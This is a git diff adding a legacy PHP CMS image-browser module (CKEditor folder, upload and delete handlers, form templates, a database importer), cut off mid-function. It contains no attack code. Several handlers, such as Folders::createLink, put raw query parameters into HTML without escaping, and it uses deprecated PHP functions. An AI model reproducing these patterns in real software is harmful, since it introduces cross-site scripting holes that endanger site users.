diff --git a/Toolkit/Banners/templates/currentTables/Element.tpl b/Toolkit/Banners/templates/currentTables/Element.tpl
new file mode 100644 (file)
index 0000000..8e6cc84
--- /dev/null
@@ -0,0 +1,14 @@
+<tr>
+       <td class="labelcell">
+               <!-- BEGIN required -->
+               <span class="required">*</span>
+               <!-- END required -->
+               <label>{label}</label>
+       </td>
+       <td class="fieldcell">
+               <!-- BEGIN error -->
+               <div class="req"> {error} </div>
+               <!-- END error -->
+               {element}
+       </td>
+</tr>
diff --git a/Toolkit/Banners/templates/currentTables/Form.tpl b/Toolkit/Banners/templates/currentTables/Form.tpl
new file mode 100644 (file)
index 0000000..f59286a
--- /dev/null
@@ -0,0 +1,7 @@
+<div id="contact">
+       <form{attributes}>
+               <table>
+                       {content}
+               </table>
+       </form>
+</div>
diff --git a/Toolkit/Banners/templates/currentTables/Group.tpl b/Toolkit/Banners/templates/currentTables/Group.tpl
new file mode 100644 (file)
index 0000000..cdd24cf
--- /dev/null
@@ -0,0 +1,5 @@
+<table class="group">
+       <tbody>
+               {content}
+       </tbody>
+</table>
diff --git a/Toolkit/Banners/templates/currentTables/GroupElement.tpl b/Toolkit/Banners/templates/currentTables/GroupElement.tpl
new file mode 100644 (file)
index 0000000..1a4ba27
--- /dev/null
@@ -0,0 +1,9 @@
+<tr>
+       <td>
+               {element}
+               <!-- BEGIN required -->
+               <span class="req">*</span>
+               <!-- END required -->
+               {label}
+       </td>
+</tr>
diff --git a/Toolkit/Banners/templates/currentTables/Header.tpl b/Toolkit/Banners/templates/currentTables/Header.tpl
new file mode 100644 (file)
index 0000000..64ac244
--- /dev/null
@@ -0,0 +1,5 @@
+<tr class="hdr">
+       <td colspan="2">
+               {header}
+       </td>
+</tr>
diff --git a/Toolkit/Banners/templates/currentTables/RequiredNote.tpl b/Toolkit/Banners/templates/currentTables/RequiredNote.tpl
new file mode 100644 (file)
index 0000000..525ef33
--- /dev/null
@@ -0,0 +1 @@
+<span class="req">*</span> Denotes required field
diff --git a/Toolkit/CKImages/Connector.php b/Toolkit/CKImages/Connector.php
new file mode 100755 (executable)
index 0000000..5df5155
--- /dev/null
@@ -0,0 +1,395 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Connects the CKImage browser to the server for image manipulation
+ *
+ * PHP version 5
+ *
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Connector.php,v 1.2 2012/02/03 19:04:26 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+
+/**
+ * Connects the CKImage browser to the server for image manipulation
+ *
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_CKImages_Connector
+{
+    //  {{{ setDbh()
+
+    /**
+     * Sets the database handler for the object to use
+     *
+     * @param PDO $pdo PHP Data Object
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+
+    //  {{{ createFolder()
+
+    /**
+     * Creates a new folder
+     *
+     * @return void
+     * @access public
+     */
+    public function createFolder()
+    {
+        //  get the folder id
+               $folder = filter_var(
+                       $_GET['name'],
+                       FILTER_SANITIZE_STRING,
+                       FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH
+               );
+               if ($parent = filter_var($_GET['folder'], FILTER_VALIDATE_INT)) {
+                       //      do nothing, $parent set and validated
+                       //      from the $_GET['folder'] variable
+               } else {
+                       $parent = 1;
+               }
+
+               //      if the parentFolder variable is set and valid, then override the
+               //      existing parent folder value
+               if ($newParent = filter_var($_GET['parentFolder'], FILTER_VALIDATE_INT)) {
+                       $parent = $newParent;
+               }
+
+        //  unset unneeded param values
+        unset($_GET['command'], $_GET['name'], $_GET['parentFolder']);
+
+        try {
+            $sql = "
+                INSERT INTO ckeditor_folders(name, parent)
+                VALUES (:name, :parent)";
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':name', $folder, PDO::PARAM_INT);
+            $stmt->bindParam(':parent', $parent, PDO::PARAM_INT);
+            $stmt->execute();
+            header('Location:' . BASE_URL . 'Toolkit/CKImages/browser.php?' . http_build_query($_GET));
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ deleteFile()
+
+    /**
+     * Deletes a file from the image server for client
+     *
+     * @param Toolkit_FileServer_ImageAdapter $ia Image Server Object
+     *
+     * @return void
+     * @access public
+     */
+    public function deleteFile(Toolkit_FileServer_ImageAdapter $ia)
+    {
+               $getImg = filter_input(INPUT_GET, 'img');
+        //  Get offset where target img starts at
+        $start = strrpos($getImg, '/') + 1;
+        //  get the image name
+        $img = substr($getImg, $start);
+        //  unset unneeded param values
+        unset($_GET['command'], $_GET['img']);
+
+        $ia->delete($img);
+
+        try {
+            $sql = "
+                DELETE FROM ckeditor_images
+                 WHERE name_on_disk = :nod";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':nod', $img, PDO::PARAM_STR);
+            $stmt->execute();
+            header('Location:' . BASE_URL . 'Toolkit/CKImages/browser.php?' . http_build_query($_GET));
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ deleteFolder()
+
+    /**
+     * Deletes a folder and any sub folders
+     *
+     * Moves all containing images to home folder so they are not
+     * inadvertently deleted
+     *
+     * @return void
+     * @access public
+     */
+    public function deleteFolder()
+    {
+        //  get the folder id
+        $folder = $_GET['folder'];
+        if ($folder == 1) {
+            unset($_COOKIE['glm_image_browser_open'], $_COOKIE['glm_image_browser_selected']);
+            header('Location:' . BASE_URL . 'Toolkit/CKImages/browser.php?' . http_build_query($_GET));
+                       exit();
+        }
+        //  unset unneeded param values
+        unset($_GET['command'], $_GET['tgt']);
+        $_GET['folder'] = 1;
+
+        try {
+            $tree = Toolkit_Common::getHierarchicalTreeStructure(
+                $this->dbh,
+                'ckeditor_folders',
+                'id',
+                'parent',
+                'id',
+                $folder,
+                0,
+                false
+            );
+
+            $sql = "
+                UPDATE ckeditor_images
+                   SET folder = 1
+                 WHERE folder = :folder";
+
+            $imgStmt = $this->dbh->prepare($sql);
+
+            $sql = "
+                DELETE FROM ckeditor_folders
+                 WHERE id = :folder";
+            $fldrStmt = $this->dbh->prepare($sql);
+            while (list($tgt) = each($tree)) {
+                $imgStmt->bindParam(':folder', $tgt, PDO::PARAM_INT);
+                $imgStmt->execute();
+
+                $fldrStmt->bindParam(':folder', $tgt, PDO::PARAM_INT);
+                $fldrStmt->execute();
+            }
+            //  These cookies are defined in the libjs/image_selector.js file
+            //  when the tree is created.
+            unset($_COOKIE['glm_image_browser_open'], $_COOKIE['glm_image_browser_selected']);
+            header('Location:' . BASE_URL . 'Toolkit/CKImages/browser.php?' . http_build_query($_GET));
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ browseImages()
+
+    /**
+     * Creates the browser window
+     *
+     * @param HTML_Template_Flexy  $tEngine Flexy Rendering Engine Object
+     *
+     * @return string HTML page to browse images
+     * @access public
+     */
+    public function browseImages(HTMl_Template_Flexy $tEngine)
+       {
+        $page = new stdClass();
+               $page->baseUrl       = BASE_URL;
+               $page->glmAppBaseUrl = GLM_APP_BASE_URL;
+        $page->originalPath  = CKIMAGE;
+        $page->imageManager  = IMAGE_MANAGER;
+
+               if ($folderId = filter_input(INPUT_GET, 'folder', FILTER_VALIDATE_INT)) {
+                       $folder = "&folder=$folderId";
+               } else {
+                       $folder = '';
+               }
+
+               $ckEditorFuncNum
+                       = filter_input(INPUT_GET, 'CKEditorFuncNum', FILTER_VALIDATE_INT);
+               $ckEditor = filter_input(INPUT_GET, 'CKEditor');
+               $langCode = filter_input(INPUT_GET, 'langCode');
+
+        $form = new HTML_QuickForm(
+            'quick_upload',
+            'post',
+            BASE_URL . "Toolkit/CKImages/controller.php?CKEditor=$ckEditor&CKEditorFuncNum=$ckEditorFuncNum&langCode=$langCode&command=UploadFile$folder"
+        );
+        $form->addElement('file', 'upload');
+        $page->quickUploadForm = $form->toHtml();
+
+        $folders = new Toolkit_CKImages_Folders($this->dbh);
+        $page->folders = $folders->getFolders(0);
+
+        try {
+                       $ckEditorFolderId = $folderId ? $folderId : 1;
+            $sql = "
+                SELECT *
+                  FROM ckeditor_images
+                 WHERE folder = :folder
+                 ORDER BY id ASC";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':folder', $ckEditorFolderId, PDO::PARAM_INT);
+            $stmt->execute();
+
+            $images = $stmt->fetchAll(PDO::FETCH_ASSOC);
+            // loop thru images and reset their sizes
+            $isa = new Toolkit_FileServer_ImageAdapter();
+            if (is_array($images) && !empty($images)) {
+                foreach ($images as &$img) {
+                    // get real size for the CKImage Style
+//                    var_dump(CKIMAGE . $img['name_on_disk']);
+                    $imgData = $isa->getImageSize(CKIMAGE . $img['name_on_disk']);
+                    $img['original_width']  = $imgData[0];
+                    $img['original_height'] = $imgData[1];
+//                    var_dump($imgData);
+                }
+            }
+//var_dump($images);
+//exit;
+            $page->images = $images;
+                       $page->CKEditorFuncNum = $ckEditorFuncNum;
+
+            $tEngine->compile('thumbnails.html');
+            $tEngine->outputObject($page);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ handleUpload()
+
+
+    /**
+     * Handles inserting the upload into the database
+     *
+     * @param string $imageName  image to insert
+        * @param array  $dimensions dimensions of the image
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function handleUpload($imageName, array $dimensions)
+    {
+        try {
+                       if ($folder = filter_input(INPUT_GET, 'folder', FILTER_VALIDATE_INT)) {
+                               //      do nothing, $folder is already set and validated
+                       } else {
+                               $folder = 1;
+                       }
+            $sql = "
+                INSERT INTO ckeditor_images (file_name, name_on_disk, folder,
+                original_width, original_height)
+                VALUES (:fname, :nod, :folder, :width, :height)";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(
+                ':fname',
+                $_FILES['upload']['name'],
+                PDO::PARAM_STR
+            );
+            $stmt->bindParam(':nod', $imageName, PDO::PARAM_STR);
+            $stmt->bindValue(':folder', $folder, PDO::PARAM_INT);
+            $stmt->bindValue(':width', $dimensions['oWidth'], PDO::PARAM_INT);
+            $stmt->bindValue(':height', $dimensions['oHeight'], PDO::PARAM_INT);
+
+
+            return $stmt->execute();
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ quickUpload()
+
+
+    /**
+     * send uploaded image to image server
+     *
+     * @param Toolkit_FileServer_ImageAdapter $ia Image Server
+     *
+     * @return void
+     * @access public
+     */
+    public function quickUpload(Toolkit_FileServer_ImageAdapter $ia)
+    {
+               try {
+                       ob_start();
+                       $image = $ia->upload('upload');
+                       ob_end_clean();
+               } catch (RangeException $e) {
+                       Toolkit_Logger::logException('Runtime Error', $e);
+                       throw new Toolkit_CKImages_Exception('Error uploading image');
+               }
+
+               $dimensions = $ia->getImageSize(CKIMAGE . $image['name']);
+               list($i['oWidth'], $i['oHeight'],) = $dimensions;
+               $this->handleUpload($image['name'], $i);
+
+        unset($_GET['command']);
+        header('Location:' . BASE_URL . 'Toolkit/CKImages/browser.php?' . http_build_query($_GET));
+    }
+
+    //  }}}
+
+    //  {{{ uploadFile()
+
+
+    /**
+     * send uploaded image to image server and select that file to be used
+     *
+     * @param Toolkit_FileServer_ImageAdapter $ia Image server object
+     *
+     * @return void
+     * @access public
+     */
+    public function uploadFile(Toolkit_FileServer_ImageAdapter $ia)
+    {
+               if ($ckEditorFuncNum = filter_input(INPUT_GET, 'CKEditorFuncNum', FILTER_VALIDATE_INT)) {
+                       //      Do nothing, $ckEditorFuncNum set and validated
+               } else {
+                       $ckEditorFuncNum = 1;
+               }
+        echo '<script type="text/javascript">';
+               try {
+                       ob_start();
+                       $image = $ia->upload('upload');
+                       ob_end_clean();
+               } catch (RangeException $e) {
+                       Toolkit_Logger::logException('Runtime Error', $e);
+            echo "window.parent.CKEDITOR.tools.callFunction($ckEditorFuncNum, '', 'Invalid Image Format');";
+               }
+
+               $dimensions = $ia->getImageSize(CKIMAGE . $image['name']);
+               list($i['oWidth'], $i['oHeight'],) = $dimensions;
+               $this->handleUpload($image['name'], $i);
+
+               //  path to image we are going to use
+               $ip = CKIMAGE . $image['name'];
+               echo "window.parent.CKEDITOR.tools.callFunction($ckEditorFuncNum, '$ip', '');";
+        echo '</script>';
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/CKImages/Exception.php b/Toolkit/CKImages/Exception.php
new file mode 100644 (file)
index 0000000..3ea1bbd
--- /dev/null
@@ -0,0 +1,3 @@
+<?php
+class Toolkit_CKImages_Exception extends Exception {}
+?>
diff --git a/Toolkit/CKImages/Factory.php b/Toolkit/CKImages/Factory.php
new file mode 100755 (executable)
index 0000000..56bf0bd
--- /dev/null
@@ -0,0 +1,83 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * CKImage Factory
+ * 
+ * PHP version 5
+ * 
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Factory.php,v 1.1.1.1 2009/12/15 13:42:03 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+
+
+/**
+ * CKImage Factory
+ * 
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_CKImages_Factory
+{
+    //  {{{ properties
+
+    /**
+     * array of instances
+     * @var    array 
+     * @access public
+     * @static
+     */
+    public static $instances = array();
+
+    //  }}} 
+    //  {{{ init()
+
+    /**
+     * initialize the factory
+     * 
+     * @return void  
+     * @access public
+     * @static
+     */
+    public static function init()
+    {
+    }
+
+    //  }}}
+    //  {{{ &instance()
+
+    /**
+     * Get a single instance of an object
+     * 
+     * @param string $class Class name to create
+     *
+     * @return mixed instantiated object
+     * @access public
+     * @static
+     */
+    public static function &instance($class)
+    {
+        $class = "Toolkit_CKImages_$class";
+
+        if (empty(Toolkit_CKImages_Factory::$instances)) {
+            Toolkit_CKImages_Factory::$instances[$class] = new $class;
+        }
+
+        return Toolkit_CKImages_Factory::$instances[$class];
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/CKImages/Folders.php b/Toolkit/CKImages/Folders.php
new file mode 100755 (executable)
index 0000000..3d48e8e
--- /dev/null
@@ -0,0 +1,243 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles create a UL list to simulate a folder hierarchy
+ * 
+ * PHP version 5
+ * 
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Folders.php,v 1.1.1.1 2009/12/15 13:42:03 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * Handles create a UL list to simulate a folder hierarchy
+ * 
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ * @see       References to other sections (if any)...
+ */
+class Toolkit_CKImages_Folders
+{
+    //  {{{ properties
+
+
+    /**
+     * Levels deep we are into the hierarchy
+     * @var    integer
+     * @access private
+     */
+    private $_lvlsOpen = 0;
+
+    /**
+     * The previous level we were at
+     * @var    integer
+     * @access private
+     */
+    private $_prevLvl = 0;
+
+    //  }}}
+
+    //  {{{ __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param PDO $pdo PHP Data Object
+     *                     
+     * @return void  
+     * @access public
+     */
+    public function __construct(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+
+    //  {{{ closeFolder()
+
+
+    /**
+     * Closes a folder level
+     * 
+     * @return string    closing ul tag
+     * @access protected
+     */
+    protected function closeFolder()
+    {
+        return "\n</ul>";
+    }
+
+    //  }}}
+    //  {{{ closeNode()
+
+
+    /**
+     * Closes a node
+     * 
+     * @return string    closing li tag
+     * @access protected
+     */
+    protected function closeNode()
+    {
+        return "\n\t</li>";
+    }
+
+    //  }}}
+    //  {{{ createFolder()
+
+
+    /**
+     * Creates a folder level
+     * 
+     * @return string    opening ul tag
+     * @access protected
+     */
+    protected function createFolder()
+    {
+        return "\n<ul>";
+    }
+
+    //  }}}
+    //  {{{ createLink()
+
+
+    /**
+     * Creates a folder link so we can browse to each folder
+     * 
+     * @param array $row Folder information
+     *
+     * @return string anchor link for folder
+     * @access protected
+     */
+    protected function createLink(array $row)
+    {
+        $format = '<a class="%s" href="'.BASE_URL.'Toolkit/CKImages/browser.php?CKEditor=%s&CKEditorFuncNum=%s&langCode=%s&folder=%s">%s</a>';
+
+        $link = sprintf(
+            $format,
+            ($_GET['folder'] == $row['id']) ? 'clicked' : null,
+            $_GET['CKEditor'],
+            $_GET['CKEditorFuncNum'],
+            $_GET['langCode'],
+            $row['id'],
+            $row['name']
+        );
+
+        return $link;
+    }
+
+    //  }}}
+
+    //  {{{ fetchFoldersArray()
+
+
+    /**
+     * Fetches a tree hierarchy of the folder structure into a linear array
+     * 
+     * @param integer $start node to start at
+     *
+     * @return array folder structure with levels
+     * @access protected
+     */
+    protected function fetchFoldersArray($start)
+    {
+        return Toolkit_Common::getHierarchicalTreeStructure(
+            $this->dbh,
+            'ckeditor_folders',
+            'id',
+            'parent',
+            'id',
+            $start
+        );
+    }
+
+    //  }}}
+
+    //  {{{ getFolders()
+
+
+    /**
+     * Gets the folders ul list
+     * 
+     * @param integer $parent start at a certain level
+     *                         
+     * @return string  list of folders
+     * @access public 
+     */
+    public function getFolders($parent = 0)
+    {
+        $folders = $this->fetchFoldersArray($parent);
+        try {
+            $sql = "
+                SELECT *
+                  FROM ckeditor_folders
+                 WHERE id = :id";
+
+            $stmt = $this->dbh->prepare($sql);
+            foreach ($folders as $i => $j) {
+                $stmt->bindParam(':id', $i, PDO::PARAM_INT);
+                $stmt->execute();
+                $row = $stmt->fetch(PDO::FETCH_ASSOC);
+
+                if ($j == $this->_prevLvl) {
+                    $tree .= $this->openNode($row);
+                    $tree .= $this->createLink($row);
+                    $this->_prevLvl = $j;
+                } elseif ($j > $this->_prevLvl) {
+                    ++$this->_lvlsOpen;
+                    $tree .= $this->createFolder();
+                    $tree .= $this->openNode($row);
+                    $tree .= $this->createLink($row);
+                    $this->_prevLvl = $j;
+                } elseif ($j < $this->_prevLvl) {
+                    do {
+                        $tree .= $this->closeNode();
+                        $tree .= $this->closeFolder();
+                    } while (--$this->_lvlsOpen > $j);
+                    $tree .= $this->closeNode();
+                    $tree .= $this->openNode($row);
+                    $tree .= $this->createLink($row);
+                    $this->_prevLvl = $this->_lvlsOpen;
+                }
+            }
+            $tree .= $this->closeFolder();
+            return $tree;
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ openNode()
+
+
+    /**
+     * Opens a branch or leaf node
+     * 
+     * @param array $row Folder information
+     *
+     * @return string opening li tag
+     * @access protected
+     */
+    protected function openNode(array $row)
+    {
+        return "\n\t<li id=\"pred_{$row['id']}\">";
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/CKImages/ImageUpdater.php b/Toolkit/CKImages/ImageUpdater.php
new file mode 100644 (file)
index 0000000..b0faaa4
--- /dev/null
@@ -0,0 +1,95 @@
+<?php
+class Toolkit_CKImages_ImageUpdater
+{
+       //      {{{     properties
+
+       private $_imageData = array();
+       private $_dbh;
+
+       //      }}}
+       //      {{{     __construct()
+
+       public function __construct(PDO $dbh)
+       {
+               $this->_dbh = $dbh;
+       }
+
+       //      }}}
+
+       //      {{{     load()
+
+       public function load($image)
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM ckeditor_images
+                                WHERE name_on_disk = :image";
+
+                       $stmt = $this->_dbh->prepare($sql);
+                       $stmt->bindParam(':image', $image, PDO::PARAM_STR);
+                       $stmt->setFetchMode(PDO::FETCH_INTO, $this);
+                       $stmt->execute();
+                       $this->_imageData = $stmt->fetch(PDO::FETCH_ASSOC);
+               } catch (PDOException $e) {
+                       Toolkit_Logger::logException('DB Error', $e);
+                       throw new Toolkit_CKImages_Exception(
+                               "Error fetching image row for image `$image`"
+                       );
+               }
+       }
+
+       //      }}}
+       //      {{{     update()
+
+       public function update(Toolkit_FileServer_ImageAdapter $ia)
+       {
+               if (   !is_array($this->_imageData)
+                       || empty($this->_imageData)
+               ) {
+                       throw new RuntimeException(
+                               'You must load an image first before trying to update'
+                       );
+               }
+
+        $targetImage = $this->_imageData['name_on_disk'];
+
+               $path = BASE . "Toolkit/CKImages/editedImages/$targetImage";
+               $newImage = $ia->uploadImageFile($path);
+               list($w, $h, ) = $ia->getImageSize(CKIMAGE_ORIGINAL . $newImage['name']);
+
+               try {
+                       $sql = "
+                UPDATE ckeditor_images
+                   SET original_image = COALESCE(original_image, name_on_disk),
+                       file_name = :image_name,
+                                          name_on_disk = :newFileName,
+                                          original_width = :newWidth,
+                                          original_height = :newHeight
+                 WHERE name_on_disk = :originalFileName
+                                   OR original_image = :originalFileName";
+
+                       $stmt = $this->_dbh->prepare($sql);
+                       $stmt->bindParam(':newFileName', $newImage['name'], PDO::PARAM_STR);
+            $stmt->bindParam(':image_name', $_REQUEST['image_name'], PDO::PARAM_STR);
+                       $stmt->bindParam(':newWidth', $w, PDO::PARAM_INT);
+                       $stmt->bindParam(':newHeight', $h, PDO::PARAM_INT);
+                       $stmt->bindParam(':originalFileName', $targetImage, PDO::PARAM_STR);
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Logger::logException('DB Error', $e);
+                       throw new Toolkit_CKImages_Exception(
+                               "Error updating image `{$this->_imageData['name_on_disk']}`"
+                       );
+               }
+
+               //      If we have updated the file previously
+               //      then remove the old update - b/c it will now be orphaned.
+               if ($targetImage == $this->_imageData['original_image']) {
+                       $ia->delete($this->_imageData['name_on_disk']);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/CKImages/assets/night-fate-stock2.jpg b/Toolkit/CKImages/assets/night-fate-stock2.jpg
new file mode 100755 (executable)
index 0000000..93fc375
Binary files /dev/null and b/Toolkit/CKImages/assets/night-fate-stock2.jpg differ
diff --git a/Toolkit/CKImages/browser.php b/Toolkit/CKImages/browser.php
new file mode 100755 (executable)
index 0000000..3152879
--- /dev/null
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * popup browser window
+ *
+ * This file creates the popup browser window to manage images
+ *
+ * PHP versions 4 and 5
+ *
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: browser.php,v 1.2 2012/02/03 19:04:26 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * bootstrap
+ */
+require_once '../../setup.phtml';
+
+Toolkit_CKImages_Factory::init();
+$connector = Toolkit_CKImages_Factory::instance('Connector');
+$connector->setDbh(Toolkit_Database::getInstance());
+$flexyOpts = $GLOBALS['flexyOptions'];
+$flexyOpts['templateDir'] = BASE . 'Toolkit/CKImages/templates/';
+$flexyOpts['compileDir'] = BASE . 'Toolkit/CKImages/templates/compiled/';
+$tEngine = new HTML_Template_Flexy($flexyOpts);
+
+$connector->browseImages($tEngine);
+?>
diff --git a/Toolkit/CKImages/connector.php b/Toolkit/CKImages/connector.php
new file mode 100755 (executable)
index 0000000..a690a80
--- /dev/null
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Controller file
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: connector.php,v 1.1.1.1 2009/12/15 13:42:03 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * bootstrap
+ */
+require_once '../../setup.phtml';
+
+Toolkit_CKImages_Factory::init();
+$connector = Toolkit_CKImages_Factory::instance('Connector');
+$connector->setDbh(Toolkit_Database::getInstance());
+
+switch ($_GET['command']) {
+case 'CreateFolder' :
+    $connector->createFolder();
+    break;
+
+case 'DeleteFile' :
+    $connector->deleteFile(new Toolkit_Image_Server);
+    break;
+
+case 'DeleteFolder' :
+    $connector->deleteFolder(new Toolkit_Image_Server);
+    break;
+
+case 'Upload' :
+    $connector->uploadFile(new Toolkit_Image_Server);
+    break;
+
+case 'UploadFile' :
+    $connector->quickUpload(new Toolkit_Image_Server);
+    break;
+
+default :
+       die('not yet implemented');
+    $connector->throwError();
+    break;
+}
+?>
diff --git a/Toolkit/CKImages/controller.php b/Toolkit/CKImages/controller.php
new file mode 100644 (file)
index 0000000..db59059
--- /dev/null
@@ -0,0 +1,53 @@
+<?php
+
+/**
+ * Controller file
+ *
+ * PHP versions 4 and 5
+ *
+ * @category  CKImages
+ * @package   Toolkit_CKImages
+ * @author    Jamie Kahgee <jamie@gaslightmedia.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com/ Gaslightmedia
+ * @version   CVS: $Id: controller.php,v 1.1 2012/02/03 19:04:26 matrix Exp $
+ * @link      <>
+ * @see       References to other sections (if any)...
+ */
+
+/**
+ * bootstrap
+ */
+require_once '../../setup.phtml';
+
+Toolkit_CKImages_Factory::init();
+$controller = Toolkit_CKImages_Factory::instance('Connector');
+$controller->setDbh(Toolkit_Database::getInstance());
+
+switch ($_GET['command']) {
+case 'CreateFolder' :
+    $controller->createFolder();
+    break;
+
+case 'DeleteFile' :
+    $controller->deleteFile(new Toolkit_FileServer_ImageAdapter());
+    break;
+
+case 'DeleteFolder' :
+    $controller->deleteFolder();
+    break;
+
+case 'Upload' :
+    $controller->uploadFile(new Toolkit_FileServer_ImageAdapter());
+    break;
+
+case 'UploadFile' :
+    $controller->quickUpload(new Toolkit_FileServer_ImageAdapter());
+    break;
+
+default :
+       die('not yet implemented');
+    $controller->throwError();
+    break;
+}
+?>
diff --git a/Toolkit/CKImages/database/Import.php b/Toolkit/CKImages/database/Import.php
new file mode 100755 (executable)
index 0000000..5c43cdd
--- /dev/null
@@ -0,0 +1,134 @@
+<?php
+class Toolkit_CKImages_database_Import
+{
+    // {{{ Class Properties
+    protected $dbh;
+    protected $pathToImages;
+    protected $is;
+    protected $urlPathToImages;
+
+    // }}}
+    // {{{ __construct()
+    function __construct(PDO $pdo)
+    {
+        $this->dbh             = $pdo;
+        $this->pathToImages    = BASE . 'images/ht_images/';
+        $this->urlPathToImages = BASE_URL . 'images/ht_images/';
+        $this->is              = new Toolkit_Image_Server();
+    }
+    // }}}
+    // {{{ addFolderToDatabase()
+    function addFolderToDatabase($folder, $parent)
+    {
+        static $stmt;
+        if (!$stmt) {
+            $sql = "
+            INSERT INTO ckeditor_folders
+            (name, parent)
+            VALUES
+            (:name, :parent)
+            RETURNING id";
+            $stmt = $this->dbh->prepare($sql);
+        }
+        try {
+            $stmt->bindParam(":name",   $folder, PDO::PARAM_STR);
+            $stmt->bindParam(":parent", $parent, PDO::PARAM_STR);
+            $stmt->execute();
+            return $stmt->fetchColumn();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }
+    // }}}
+    // {{{ addImageToDatabase()
+    function addImageToDatabase($file, $folder)
+    {
+        static $stmt;
+        if (!$stmt) {
+            $sql = "
+            INSERT INTO ckeditor_images
+            (file_name, name_on_disk, original_width, original_height, folder)
+            VALUES
+            (:file_name, :name_on_disk, :original_width, :original_height, :folder)";
+            $stmt = $this->dbh->prepare($sql);
+        }
+        try {
+            $stmt->bindParam(":file_name",       $file['file_name'],       PDO::PARAM_STR);
+            $stmt->bindParam(":name_on_disk",    $file['name_on_disk'],    PDO::PARAM_STR);
+            $stmt->bindParam(":original_width",  $file['original_width'],  PDO::PARAM_STR);
+            $stmt->bindParam(":original_height", $file['original_height'], PDO::PARAM_STR);
+            $stmt->bindParam(":folder",          $folder,                  PDO::PARAM_INT);
+            $stmt->execute();
+        } catch(PDOException $e) {
+            Toolkit_Common::handleError($e);
+        }
+    }// }}}
+    // {{{ processFilesArray
+    function processFilesArray($files, $parent = 1)
+    {
